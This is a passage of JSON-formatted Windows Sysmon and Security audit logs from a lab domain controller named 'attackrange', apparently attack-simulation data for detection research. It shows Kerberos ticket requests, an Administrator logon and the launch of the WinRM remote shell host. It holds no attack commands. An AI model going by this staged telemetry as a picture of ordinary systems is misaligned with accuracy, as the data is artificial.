C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221731,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221732,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221733,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221734,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x464AF\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{39E5BC61-75E8-4407-FF56-0E3B35526E5C}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x464af","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{39E5BC61-75E8-4407-FF56-0E3B35526E5C}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221735,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x464AF\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x464af","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2526,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2527,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2528,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.971\r\nProcessGuid: {90617006-4009-5F2D-0000-0010DD640400}\r\nProcessId: 4696\r\nImage: C:\\Windows\\System32\\winrshost.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Host Process for WinRM's Remote Shell plugin\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: winrshost.exe\r\nCommandLine: C:\\Windows\\system32\\WinrsHost.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4009-5F2D-0000-0020AF640400}\r\nLogonId: 0x464AF\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.971","ProcessGuid":"{90617006-4009-5F2D-0000-0010DD640400}","Image":"C:\\Windows\\System32\\winrshost.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Host Process for WinRM's Remote Shell plugin","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"winrshost.exe","CommandLine":"C:\\Windows\\system32\\WinrsHost.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4009-5F2D-0000-0020AF640400}","LogonId":"0x464af","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2529,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:33.960\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4009-5F2D-0000-0010DD640400}\r\nTargetProcessId: 4696\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:33.960","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4009-5F2D-0000-0010DD640400}","TargetProcessId":"4696","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 